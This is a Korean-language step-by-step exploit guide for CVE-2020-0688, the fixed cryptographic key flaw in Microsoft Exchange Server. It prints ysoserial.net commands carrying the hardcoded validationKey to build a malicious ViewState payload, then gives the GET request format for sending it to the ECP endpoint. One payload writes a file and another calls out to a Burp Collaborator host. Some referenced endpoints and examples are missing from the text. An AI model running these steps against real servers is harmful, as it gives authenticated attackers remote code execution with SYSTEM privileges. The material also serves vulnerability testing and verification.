
[CVE-2020-0688] Microsoft Exchange Server 고정 암호화 키 원격 코드 실행 (RCE)
[CVE-2020-0688] Microsoft Exchange Server 고정 암호화 키 원격 코드 실행 (RCE)
각 설치에 대해 무작위로 생성된 키를 사용하는 대신, 모든 Microsoft Exchange Server 설치에는 web.config에 동일한 validationKey 및 decryptionKey 값이 있습니다. 따라서 인증된 공격자는 서버를 속여 악의적으로 조작된 ViewState 데이터를 역직렬화하도록 만들 수 있습니다. YSoSerial.net의 도움으로 공격자는 SYSTEM 권한으로 실행되는 Exchange Control Panel (ECP) 웹 애플리케이션의 컨텍스트에서 서버에서 임의의 .NET 코드를 실행할 수 있습니다.
1단계: 다음 엔드포인트 중 하나를 방문하여 인증 페이지에 접근합니다
2단계: 자격 증명으로 로그인하고(사용자 계정 권한에 관계없이), HTTP 응답 쿠키와 HTTP 응답 본문에서 각각 유효한 ASP_NET_SessionId 및 __VIEWSTATEGENERATOR 값을 가져옵니다. 예를 들어
3단계: 페이로드를 생성하려면(취약점 확인용), YSoSerial.net을 사용합니다
피해자 Exchange 서버에 접근할 수 있다면, C:\ 디렉터리에 PoC.txt라는 이름의 텍스트 파일을 생성하는 다음 페이로드를 사용할 수 있습니다
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/PoC.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
그러나 서버에 접근할 수 없다면 다음이 더 나을 수 있습니다.
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping xxxxxxxx..burpcollaborator.net" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
4단계: 4단계 후에는 URL 인코딩된 ViewState 페이로드를 갖게 됩니다. 아래 엔드포인트에 다음 형식으로 GET 요청을 보냅니다.
http(s)://exchangeserver/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState_Payload>
원본 블로그 게시물은 여기에서 확인할 수 있습니다